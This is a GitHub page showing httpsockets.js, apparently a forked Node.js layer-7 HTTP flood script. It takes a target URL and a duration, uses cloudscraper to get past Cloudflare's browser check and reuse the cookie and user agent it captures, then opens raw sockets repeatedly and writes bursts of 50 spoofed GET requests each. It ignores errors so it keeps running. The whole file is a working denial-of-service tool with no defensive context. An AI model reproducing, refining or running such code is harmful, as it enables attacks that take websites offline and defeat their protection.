forked from SoupCS/l7-http-methods
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathhttpsockets.js
57 lines (53 loc) · 1.76 KB
/
httpsockets.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
const EventEmitter = require('events');
const emitter = new EventEmitter();
emitter.setMaxListeners(Number.POSITIVE_INFINITY);
var cloudscraper = require('cloudscraper');
const url = require('url');
if (process.argv.length <= 2) {
console.log("node HTTP-SOCKETS.js url time");
process.exit(-1);
}
var target = process.argv[2];
var time = process.argv[3];
var cookie = "";
var ua = "";
var host = url.parse(target).host;
var cookie = "";
cloudscraper.get(target, function (error, response) {
if (error) {
} else {
var parsed = JSON.parse(JSON.stringify(response));
cookie = (parsed["request"]["headers"]["cookie"]);
if (cookie == undefined) {
cookie = (parsed["headers"]["set-cookie"]);
}
ua = (parsed["request"]["headers"]["User-Agent"]);
}
console.log('-> Bypass')
console.log(cookie + '/' + ua);
});
var counter = 0;
var int = setInterval(() => {
if (cookie !== '' && ua !== '') {
var s = require('net').Socket();
s.connect(80, host);
s.setTimeout(10000);
for (var i = 0; i < 50; i++) {
s.write('GET ' + target + '/ HTTP/1.1\r\nHost: ' + host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*//*;q=0.8\r\nUser-Agent: ' + ua + '\r\nUpgrade-Insecure-Requests: 1\r\nCookie: ' + cookie + '\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\ncache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n');
}
s.on('data', function () {
setTimeout(function () {
s.destroy();
return delete s;
}, 5000);
})
}
});
setTimeout(() => clearInterval(int), time * 1000);
// to not crash on errors
process.on('uncaughtException', function (err) {
console.log(err);
});
process.on('unhandledRejection', function (err) {
console.log(err);
});